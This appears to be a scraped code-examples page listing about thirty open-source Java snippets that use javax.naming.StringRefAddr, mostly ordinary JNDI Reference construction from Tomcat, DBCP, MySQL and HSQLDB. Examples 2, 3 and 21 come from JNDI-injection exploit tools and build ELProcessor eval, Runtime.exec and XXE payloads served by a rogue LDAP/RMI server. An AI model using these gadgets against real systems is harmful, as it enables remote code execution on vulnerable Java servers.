Java Code Examples for javax.naming.StringRefAddr

The following examples show how to use javax.naming.StringRefAddr. These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source Project: Tomcat8-Source-Read   Source File: DriverAdapterCPDS.java    License: MIT License 6 votes vote down vote up
/**
 * Implements {@link Referenceable}.
 */
@Override
public Reference getReference() throws NamingException {
    // this class implements its own factory
    final String factory = getClass().getName();

    final Reference ref = new Reference(getClass().getName(), factory, null);

    ref.add(new StringRefAddr("description", getDescription()));
    ref.add(new StringRefAddr("driver", getDriver()));
    ref.add(new StringRefAddr("loginTimeout", String.valueOf(getLoginTimeout())));
    ref.add(new StringRefAddr(KEY_PASSWORD, getPassword()));
    ref.add(new StringRefAddr(KEY_USER, getUser()));
    ref.add(new StringRefAddr("url", getUrl()));

    ref.add(new StringRefAddr("poolPreparedStatements", String.valueOf(isPoolPreparedStatements())));
    ref.add(new StringRefAddr("maxIdle", String.valueOf(getMaxIdle())));
    ref.add(new StringRefAddr("timeBetweenEvictionRunsMillis", String.valueOf(getTimeBetweenEvictionRunsMillis())));
    ref.add(new StringRefAddr("numTestsPerEvictionRun", String.valueOf(getNumTestsPerEvictionRun())));
    ref.add(new StringRefAddr("minEvictableIdleTimeMillis", String.valueOf(getMinEvictableIdleTimeMillis())));
    ref.add(new StringRefAddr("maxPreparedStatements", String.valueOf(getMaxPreparedStatements())));

    return ref;
}
 
Example 2
Source Project: rogue-jndi   Source File: Tomcat.java    License: MIT License 6 votes vote down vote up
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {

        System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload");

        Entry e = new Entry(base);
        e.addAttribute("javaClassName", "java.lang.String"); //could be any

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", payload));
        e.addAttribute("javaSerializedData", serialize(ref));

        result.sendSearchEntry(e);
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
 
Example 3
Source Project: rogue-jndi   Source File: WebSphere1.java    License: MIT License 6 votes vote down vote up
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {

        //get wsdl location from the url parameter
        String wsdl = Utilities.getDnParam(result.getRequest().getBaseDN(), "wsdl");
        if(wsdl == null)
            wsdl = "http://" + Config.hostname + ":" + Config.httpPort + Config.wsdl; //get from config if not specified

        System.out.println("Sending Websphere1 payload pointing to " + wsdl);

        Entry e = new Entry(base);
        e.addAttribute("javaClassName", "java.lang.String"); //could be any

        //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
        javax.naming.Reference ref = new Reference("ExploitObject",
                "com.ibm.ws.webservices.engine.client.ServiceFactory", null);
        ref.add(new StringRefAddr("WSDL location", wsdl));
        ref.add(new StringRefAddr("service namespace","xxx"));
        ref.add(new StringRefAddr("service local part","yyy"));

        e.addAttribute("javaSerializedData", serialize(ref));

        result.sendSearchEntry(e);
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
 
Example 4
Source Project: Tomcat7.0.67   Source File: NamingContextListener.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Set the specified EJBs in the naming context.
 */
public void addEjb(ContextEjb ejb) {

    // Create a reference to the EJB.
    Reference ref = new EjbRef
        (ejb.getType(), ejb.getHome(), ejb.getRemote(), ejb.getLink());
    // Adding the additional parameters, if any
    Iterator<String> params = ejb.listProperties();
    while (params.hasNext()) {
        String paramName = params.next();
        String paramValue = (String) ejb.getProperty(paramName);
        StringRefAddr refAddr = new StringRefAddr(paramName, paramValue);
        ref.add(refAddr);
    }
    try {
        createSubcontexts(envCtx, ejb.getName());
        envCtx.bind(ejb.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

}
 
Example 5
Source Project: Tomcat7.0.67   Source File: NamingContextListener.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Set the specified resources in the naming context.
 */
public void addResourceEnvRef(ContextResourceEnvRef resourceEnvRef) {

    // Create a reference to the resource env.
    Reference ref = new ResourceEnvRef(resourceEnvRef.getType());
    // Adding the additional parameters, if any
    Iterator<String> params = resourceEnvRef.listProperties();
    while (params.hasNext()) {
        String paramName = params.next();
        String paramValue = (String) resourceEnvRef.getProperty(paramName);
        StringRefAddr refAddr = new StringRefAddr(paramName, paramValue);
        ref.add(refAddr);
    }
    try {
        if (logger.isDebugEnabled())
            log.debug("  Adding resource env ref " + resourceEnvRef.getName());
        createSubcontexts(envCtx, resourceEnvRef.getName());
        envCtx.bind(resourceEnvRef.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

}
 
Example 6
Source Project: r-course   Source File: MysqlDataSource.java    License: MIT License 6 votes vote down vote up
/**
 * Required method to support this class as a <CODE>Referenceable</CODE>.
 * 
 * @return a Reference to this data source
 * 
 * @throws NamingException
 *             if a JNDI error occurs
 */
public Reference getReference() throws NamingException {
    String factoryName = "com.mysql.jdbc.jdbc2.optional.MysqlDataSourceFactory";
    Reference ref = new Reference(getClass().getName(), factoryName, null);
    ref.add(new StringRefAddr(NonRegisteringDriver.USER_PROPERTY_KEY, getUser()));
    ref.add(new StringRefAddr(NonRegisteringDriver.PASSWORD_PROPERTY_KEY, this.password));
    ref.add(new StringRefAddr("serverName", getServerName()));
    ref.add(new StringRefAddr("port", "" + getPort()));
    ref.add(new StringRefAddr("databaseName", getDatabaseName()));
    ref.add(new StringRefAddr("url", getUrl()));
    ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl)));

    //
    // Now store all of the 'non-standard' properties...
    //
    try {
        storeToRef(ref);
    } catch (SQLException sqlEx) {
        throw new NamingException(sqlEx.getMessage());
    }

    return ref;
}
 
Example 7
Source Project: Komondor   Source File: MysqlDataSource.java    License: GNU General Public License v3.0 6 votes vote down vote up
/**
 * Required method to support this class as a <CODE>Referenceable</CODE>.
 * 
 * @return a Reference to this data source
 * 
 * @throws NamingException
 *             if a JNDI error occurs
 */
public Reference getReference() throws NamingException {
    String factoryName = "com.mysql.jdbc.jdbc2.optional.MysqlDataSourceFactory";
    Reference ref = new Reference(getClass().getName(), factoryName, null);
    ref.add(new StringRefAddr(NonRegisteringDriver.USER_PROPERTY_KEY, getUser()));
    ref.add(new StringRefAddr(NonRegisteringDriver.PASSWORD_PROPERTY_KEY, this.password));
    ref.add(new StringRefAddr("serverName", getServerName()));
    ref.add(new StringRefAddr("port", "" + getPort()));
    ref.add(new StringRefAddr("databaseName", getDatabaseName()));
    ref.add(new StringRefAddr("url", getUrl()));
    ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl)));

    //
    // Now store all of the 'non-standard' properties...
    //
    try {
        storeToRef(ref);
    } catch (SQLException sqlEx) {
        throw new NamingException(sqlEx.getMessage());
    }

    return ref;
}
 
Example 8
Source Project: tomcatsrc   Source File: NamingContextListener.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Set the specified EJBs in the naming context.
 */
public void addEjb(ContextEjb ejb) {

    // Create a reference to the EJB.
    Reference ref = new EjbRef
        (ejb.getType(), ejb.getHome(), ejb.getRemote(), ejb.getLink());
    // Adding the additional parameters, if any
    Iterator<String> params = ejb.listProperties();
    while (params.hasNext()) {
        String paramName = params.next();
        String paramValue = (String) ejb.getProperty(paramName);
        StringRefAddr refAddr = new StringRefAddr(paramName, paramValue);
        ref.add(refAddr);
    }
    try {
        createSubcontexts(envCtx, ejb.getName());
        envCtx.bind(ejb.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

}
 
Example 9
Source Project: tomcatsrc   Source File: NamingContextListener.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Set the specified resources in the naming context.
 */
public void addResourceEnvRef(ContextResourceEnvRef resourceEnvRef) {

    // Create a reference to the resource env.
    Reference ref = new ResourceEnvRef(resourceEnvRef.getType());
    // Adding the additional parameters, if any
    Iterator<String> params = resourceEnvRef.listProperties();
    while (params.hasNext()) {
        String paramName = params.next();
        String paramValue = (String) resourceEnvRef.getProperty(paramName);
        StringRefAddr refAddr = new StringRefAddr(paramName, paramValue);
        ref.add(refAddr);
    }
    try {
        if (logger.isDebugEnabled())
            log.debug("  Adding resource env ref " + resourceEnvRef.getName());
        createSubcontexts(envCtx, resourceEnvRef.getName());
        envCtx.bind(resourceEnvRef.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

}
 
Example 10
Source Project: activemq-artemis   Source File: ObjectFactoryTest.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void testJndiSslParameters() throws Exception {
   Reference reference = new Reference(ActiveMQConnectionFactory.class.getName(), JNDIReferenceFactory.class.getName(), null);
   reference.add(new StringRefAddr("brokerURL", "(tcp://localhost:61616,tcp://localhost:5545,tcp://localhost:5555)?sslEnabled=false&trustStorePath=nopath"));
   reference.add(new StringRefAddr(TransportConstants.SSL_ENABLED_PROP_NAME, "true"));
   reference.add(new StringRefAddr(TransportConstants.TRUSTSTORE_PATH_PROP_NAME, "/path/to/trustStore"));
   reference.add(new StringRefAddr(TransportConstants.TRUSTSTORE_PASSWORD_PROP_NAME, "trustStorePassword"));
   reference.add(new StringRefAddr(TransportConstants.KEYSTORE_PATH_PROP_NAME, "/path/to/keyStore"));
   reference.add(new StringRefAddr(TransportConstants.KEYSTORE_PASSWORD_PROP_NAME, "keyStorePassword"));
   reference.add(new StringRefAddr("doesnotexist", "somevalue"));

   JNDIReferenceFactory referenceFactory = new JNDIReferenceFactory();
   ActiveMQConnectionFactory cf = (ActiveMQConnectionFactory)referenceFactory.getObjectInstance(reference, null, null, null);

   URI uri = cf.toURI();
   Map<String, String> params = URISupport.parseParameters(uri);

   Assert.assertEquals("true", params.get(TransportConstants.SSL_ENABLED_PROP_NAME));
   Assert.assertEquals("/path/to/trustStore", params.get(TransportConstants.TRUSTSTORE_PATH_PROP_NAME));
   Assert.assertEquals("trustStorePassword", params.get(TransportConstants.TRUSTSTORE_PASSWORD_PROP_NAME));
   Assert.assertEquals("/path/to/keyStore", params.get(TransportConstants.KEYSTORE_PATH_PROP_NAME));
   Assert.assertEquals("keyStorePassword", params.get(TransportConstants.KEYSTORE_PASSWORD_PROP_NAME));
   Assert.assertNull(params.get("doesnotexist"));
}
 
Example 11
Source Project: jTDS   Source File: JtdsDataSource.java    License: GNU Lesser General Public License v2.1 6 votes vote down vote up
public Reference getReference()
{
   Reference ref = new Reference( getClass().getName(), JtdsObjectFactory.class.getName(), null );

   Iterator it = _Config.entrySet().iterator();

   while( it.hasNext() )
   {
      Entry e = (Entry) it.next();

      String key = (String) e.getKey();
      String val = (String) e.getValue();

      ref.add( new StringRefAddr( key, val ) );
   }

   return ref;
}
 
Example 12
Source Project: qpid-jms   Source File: JNDIReferenceFactory.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * This will be called by a JNDIprovider when a Reference is retrieved from
 * a JNDI store - and generates the original instance
 *
 * @param object
 *        the Reference object
 * @param name
 *        the JNDI name
 * @param nameCtx
 *        the context
 * @param environment
 *        the environment settings used by JNDI
 *
 * @return the instance built from the Reference object
 *
 * @throws Exception
 *         if building the instance from Reference fails (usually class not found)
 */
@Override
public Object getObjectInstance(Object object, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    Object result = null;
    if (object instanceof Reference) {
        Reference reference = (Reference) object;
        Class<?> theClass = loadClass(this, reference.getClassName());
        if (JNDIStorable.class.isAssignableFrom(theClass)) {
            JNDIStorable store = (JNDIStorable) theClass.getDeclaredConstructor().newInstance();
            Map<String, String> properties = new HashMap<String, String>();
            for (Enumeration<RefAddr> iter = reference.getAll(); iter.hasMoreElements();) {
                StringRefAddr addr = (StringRefAddr) iter.nextElement();
                properties.put(addr.getType(), (addr.getContent() == null) ? "" : addr.getContent().toString());
            }
            store.setProperties(properties);
            result = store;
        }
    } else {
        throw new RuntimeException("Object " + object + " is not a reference");
    }
    return result;
}
 
Example 13
Source Project: commons-dbcp   Source File: DriverAdapterCPDS.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Implements {@link Referenceable}.
 */
@Override
public Reference getReference() throws NamingException {
    // this class implements its own factory
    final String factory = getClass().getName();

    final Reference ref = new Reference(getClass().getName(), factory, null);

    ref.add(new StringRefAddr("description", getDescription()));
    ref.add(new StringRefAddr("driver", getDriver()));
    ref.add(new StringRefAddr("loginTimeout", String.valueOf(getLoginTimeout())));
    ref.add(new StringRefAddr(KEY_PASSWORD, getPassword()));
    ref.add(new StringRefAddr(KEY_USER, getUser()));
    ref.add(new StringRefAddr("url", getUrl()));

    ref.add(new StringRefAddr("poolPreparedStatements", String.valueOf(isPoolPreparedStatements())));
    ref.add(new StringRefAddr("maxIdle", String.valueOf(getMaxIdle())));
    ref.add(new StringRefAddr("timeBetweenEvictionRunsMillis", String.valueOf(getTimeBetweenEvictionRunsMillis())));
    ref.add(new StringRefAddr("numTestsPerEvictionRun", String.valueOf(getNumTestsPerEvictionRun())));
    ref.add(new StringRefAddr("minEvictableIdleTimeMillis", String.valueOf(getMinEvictableIdleTimeMillis())));
    ref.add(new StringRefAddr("maxPreparedStatements", String.valueOf(getMaxPreparedStatements())));

    return ref;
}
 
Example 14
Source Project: commons-dbcp   Source File: TestBasicDataSourceFactory.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void testValidateProperties() throws Exception {
    try {
        StackMessageLog.lock();
        StackMessageLog.clear();
        final Reference ref = new Reference("javax.sql.DataSource", BasicDataSourceFactory.class.getName(), null);
        ref.add(new StringRefAddr("foo", "bar")); // Unknown
        ref.add(new StringRefAddr("maxWait", "100")); // Changed
        ref.add(new StringRefAddr("driverClassName", "org.apache.commons.dbcp2.TesterDriver")); // OK
        final BasicDataSourceFactory basicDataSourceFactory = new BasicDataSourceFactory();
        basicDataSourceFactory.getObjectInstance(ref, null, null, null);
        final List<String> messages = StackMessageLog.getAll();
        assertEquals(2, messages.size(), messages.toString());
        for (final String message : messages) {
            if (message.contains("maxWait")) {
                assertTrue(message.contains("use maxWaitMillis"));
            } else {
                assertTrue(message.contains("foo"));
                assertTrue(message.contains("Ignoring unknown property"));
            }
        }
    } finally {
        StackMessageLog.clear();
        StackMessageLog.unLock();
    }
}
 
Example 15
Source Project: commons-dbcp   Source File: TestBasicDataSourceFactory.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void testAllProperties() throws Exception {
    try {
        StackMessageLog.lock();
        StackMessageLog.clear();
        final Reference ref = new Reference("javax.sql.DataSource",
                                      BasicDataSourceFactory.class.getName(), null);
        final Properties properties = getTestProperties();
        for (final Entry<Object, Object> entry : properties.entrySet()) {
            ref.add(new StringRefAddr((String) entry.getKey(), (String) entry.getValue()));
        }
        final BasicDataSourceFactory basicDataSourceFactory = new BasicDataSourceFactory();
        final BasicDataSource ds = (BasicDataSource) basicDataSourceFactory.getObjectInstance(ref, null, null, null);
        checkDataSourceProperties(ds);
        checkConnectionPoolProperties(ds.getConnectionPool());
        final List<String> messages = StackMessageLog.getAll();
        assertEquals(0,messages.size());
    } finally {
        StackMessageLog.clear();
        StackMessageLog.unLock();
    }
}
 
Example 16
Source Project: commons-dbcp   Source File: TestFactory.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void testJNDI2Pools() throws Exception {
    final Reference refObj = new Reference(SharedPoolDataSource.class.getName());
    refObj.add(new StringRefAddr("dataSourceName","java:comp/env/jdbc/bookstoreCPDS"));
    final Context context = new InitialContext();
    final Hashtable<?, ?> env = new Hashtable<>();

    final ObjectFactory factory = new SharedPoolDataSourceFactory();

    final Name name = new CompositeName("myDB");
    final Object obj = factory.getObjectInstance(refObj, name, context, env);
    assertNotNull(obj);

    final Name name2 = new CompositeName("myDB2");
    final Object obj2 = factory.getObjectInstance(refObj, name2, context, env);
    assertNotNull(obj2);
}
 
Example 17
Source Project: Tomcat8-Source-Read   Source File: NamingContextListener.java    License: MIT License 5 votes vote down vote up
/**
 * Set the specified resource link in the naming context.
 *
 * @param resourceLink the resource link
 */
public void addResourceLink(ContextResourceLink resourceLink) {

    // Create a reference to the resource.
    Reference ref = new ResourceLinkRef
        (resourceLink.getType(), resourceLink.getGlobal(), resourceLink.getFactory(), null);
    Iterator<String> i = resourceLink.listProperties();
    while (i.hasNext()) {
        String key = i.next();
        Object val = resourceLink.getProperty(key);
        if (val!=null) {
            StringRefAddr refAddr = new StringRefAddr(key, val.toString());
            ref.add(refAddr);
        }
    }
    javax.naming.Context ctx =
        "UserTransaction".equals(resourceLink.getName())
        ? compCtx : envCtx;
    try {
        if (log.isDebugEnabled())
            log.debug("  Adding resource link " + resourceLink.getName());
        createSubcontexts(envCtx, resourceLink.getName());
        ctx.bind(resourceLink.getName(), ref);
    } catch (NamingException e) {
        log.error(sm.getString("naming.bindFailed", e));
    }

    ResourceLinkFactory.registerGlobalResourceAccess(
            getGlobalNamingContext(), resourceLink.getName(), resourceLink.getGlobal());
}
 
Example 18
Source Project: Tomcat8-Source-Read   Source File: LookupRef.java    License: MIT License 5 votes vote down vote up
public LookupRef(String resourceType, String factory, String factoryLocation, String lookupName) {
    super(resourceType, factory, factoryLocation);
    if (lookupName != null && !lookupName.equals("")) {
        RefAddr ref = new StringRefAddr(LOOKUP_NAME, lookupName);
        add(ref);
    }
}
 
Example 19
Source Project: Tomcat8-Source-Read   Source File: PerUserPoolDataSource.java    License: MIT License 5 votes vote down vote up
/**
 * Returns a <code>PerUserPoolDataSource</code> {@link Reference}.
 */
@Override
public Reference getReference() throws NamingException {
    final Reference ref = new Reference(getClass().getName(), PerUserPoolDataSourceFactory.class.getName(), null);
    ref.add(new StringRefAddr("instanceKey", getInstanceKey()));
    return ref;
}
 
Example 20
Source Project: Tomcat8-Source-Read   Source File: SharedPoolDataSource.java    License: MIT License 5 votes vote down vote up
/**
 * Returns a <code>SharedPoolDataSource</code> {@link Reference}.
 */
@Override
public Reference getReference() throws NamingException {
    final Reference ref = new Reference(getClass().getName(), SharedPoolDataSourceFactory.class.getName(), null);
    ref.add(new StringRefAddr("instanceKey", getInstanceKey()));
    return ref;
}
 
Example 21
Source Project: JNDI-Injection-Exploit   Source File: RMIRefServer.java    License: MIT License 5 votes vote down vote up
public ResourceRef execByEL() {
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", String.format(
            "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                    "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                    ")",
            this.command
    )));
    return ref;
}
 
Example 22
Source Project: Tomcat7.0.67   Source File: NamingContextListener.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Set the specified resource link in the naming context.
 */
public void addResourceLink(ContextResourceLink resourceLink) {

    // Create a reference to the resource.
    Reference ref = new ResourceLinkRef
        (resourceLink.getType(), resourceLink.getGlobal(), resourceLink.getFactory(), null);
    Iterator<String> i = resourceLink.listProperties();
    while (i.hasNext()) {
        String key = i.next().toString();
        Object val = resourceLink.getProperty(key);
        if (val!=null) {
            StringRefAddr refAddr = new StringRefAddr(key, val.toString());
            ref.add(refAddr);
        }
    }
    javax.naming.Context ctx = 
        "UserTransaction".equals(resourceLink.getName()) 
        ? compCtx : envCtx;
    try {
        if (logger.isDebugEnabled())
            log.debug("  Adding resource link " + resourceLink.getName());
        createSubcontexts(envCtx, resourceLink.getName());
        ctx.bind(resourceLink.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

}
 
Example 23
Source Project: lams   Source File: MysqlDataSource.java    License: GNU General Public License v2.0 5 votes vote down vote up
/**
 * Required method to support this class as a <CODE>Referenceable</CODE>.
 * 
 * @return a Reference to this data source
 * 
 * @throws NamingException
 *             if a JNDI error occurs
 */
public Reference getReference() throws NamingException {
    String factoryName = MysqlDataSourceFactory.class.getName();
    Reference ref = new Reference(getClass().getName(), factoryName, null);
    ref.add(new StringRefAddr(PropertyDefinitions.PNAME_user, getUser()));
    ref.add(new StringRefAddr(PropertyDefinitions.PNAME_password, this.password));
    ref.add(new StringRefAddr("serverName", getServerName()));
    ref.add(new StringRefAddr("port", "" + getPort()));
    ref.add(new StringRefAddr("databaseName", getDatabaseName()));
    ref.add(new StringRefAddr("url", getUrl()));
    ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl)));

    //
    // Now store all of the 'non-standard' properties...
    //
    for (String propName : PropertyDefinitions.PROPERTY_NAME_TO_PROPERTY_DEFINITION.keySet()) {
        ReadableProperty<?> propToStore = getReadableProperty(propName);

        String val = propToStore.getStringValue();
        if (val != null) {
            ref.add(new StringRefAddr(propToStore.getPropertyDefinition().getName(), val));
        }

    }

    return ref;
}
 
Example 24
Source Project: lams   Source File: SessionFactoryImpl.java    License: GNU General Public License v2.0 5 votes vote down vote up
@Override
public Reference getReference() {
	// from javax.naming.Referenceable
	LOG.debug( "Returning a Reference to the SessionFactory" );
	return new Reference(
			SessionFactoryImpl.class.getName(),
			new StringRefAddr("uuid", getUuid()),
			SessionFactoryRegistry.ObjectFactoryImpl.class.getName(),
			null
	);
}
 
Example 25
Source Project: evosql   Source File: JDBCDataSource.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Retrieves the Reference of this object.
 *
 * @return The non-null Reference of this object.
 * @exception NamingException If a naming exception was encountered
 *          while retrieving the reference.
 */
public Reference getReference() throws NamingException {

    String    cname = "org.hsqldb.jdbc.JDBCDataSourceFactory";
    Reference ref   = new Reference(getClass().getName(), cname, null);

    ref.add(new StringRefAddr("database", getDatabase()));
    ref.add(new StringRefAddr("user", getUser()));
    ref.add(new StringRefAddr("password", password));
    ref.add(new StringRefAddr("loginTimeout",
                              Integer.toString(loginTimeout)));

    return ref;
}
 
Example 26
Source Project: evosql   Source File: JDBCPooledDataSource.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Retrieves the Reference of this object.
 *
 * @return The non-null javax.naming.Reference of this object.
 * @exception NamingException If a naming exception was encountered
 *          while retrieving the reference.
 */
public Reference getReference() throws NamingException {

    String    cname = "org.hsqldb.jdbc.JDBCDataSourceFactory";
    Reference ref   = new Reference(getClass().getName(), cname, null);

    ref.add(new StringRefAddr("database", getDatabase()));
    ref.add(new StringRefAddr("user", getUser()));
    ref.add(new StringRefAddr("password", password));
    ref.add(new StringRefAddr("loginTimeout",
                              Integer.toString(loginTimeout)));

    return ref;
}
 
Example 27
Source Project: evosql   Source File: JDBCXADataSource.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Retrieves the Reference of this object.
 *
 * @return The non-null javax.naming.Reference of this object.
 * @exception NamingException If a naming exception was encountered
 *          while retrieving the reference.
 */
public Reference getReference() throws NamingException {

    String    cname = "org.hsqldb.jdbc.JDBCDataSourceFactory";
    Reference ref   = new Reference(getClass().getName(), cname, null);

    ref.add(new StringRefAddr("database", getDatabase()));
    ref.add(new StringRefAddr("user", getUser()));
    ref.add(new StringRefAddr("password", password));
    ref.add(new StringRefAddr("loginTimeout",
                              Integer.toString(loginTimeout)));

    return ref;
}
 
Example 28
Source Project: evosql   Source File: JDBCPool.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Retrieves the Reference of this object.
 *
 * @return The non-null Reference of this object.
 * @exception NamingException If a naming exception was encountered
 *          while retrieving the reference.
 */
public Reference getReference() throws NamingException {
    String    cname = "org.hsqldb.jdbc.JDBCDataSourceFactory";
    Reference ref   = new Reference(getClass().getName(), cname, null);

    ref.add(new StringRefAddr("database", source.getDatabase()));
    ref.add(new StringRefAddr("user", source.getUser()));
    ref.add(new StringRefAddr("password", source.password));
    ref.add(new StringRefAddr("loginTimeout",
                              Integer.toString(source.loginTimeout)));
    ref.add(new StringRefAddr("poolSize", Integer.toString(connections.length)));

    return ref;
}
 
Example 29
Source Project: tomcatsrc   Source File: NamingContextListener.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Set the specified resource link in the naming context.
 */
public void addResourceLink(ContextResourceLink resourceLink) {

    // Create a reference to the resource.
    Reference ref = new ResourceLinkRef
        (resourceLink.getType(), resourceLink.getGlobal(), resourceLink.getFactory(), null);
    Iterator<String> i = resourceLink.listProperties();
    while (i.hasNext()) {
        String key = i.next();
        Object val = resourceLink.getProperty(key);
        if (val!=null) {
            StringRefAddr refAddr = new StringRefAddr(key, val.toString());
            ref.add(refAddr);
        }
    }
    javax.naming.Context ctx =
        "UserTransaction".equals(resourceLink.getName())
        ? compCtx : envCtx;
    try {
        if (logger.isDebugEnabled())
            log.debug("  Adding resource link " + resourceLink.getName());
        createSubcontexts(envCtx, resourceLink.getName());
        ctx.bind(resourceLink.getName(), ref);
    } catch (NamingException e) {
        logger.error(sm.getString("naming.bindFailed", e));
    }

    ResourceLinkFactory.registerGlobalResourceAccess(
            getGlobalNamingContext(), resourceLink.getName(), resourceLink.getGlobal());
}
 
Example 30
/**
 * @see javax.naming.Referenceable#getReference()
 */
public Reference getReference() throws NamingException {
	return new Reference(
		SessionFactoryStub.class.getName(),
		new StringRefAddr("uuid", uuid),
		SessionFactoryObjectFactory.class.getName(),
		null
	);
}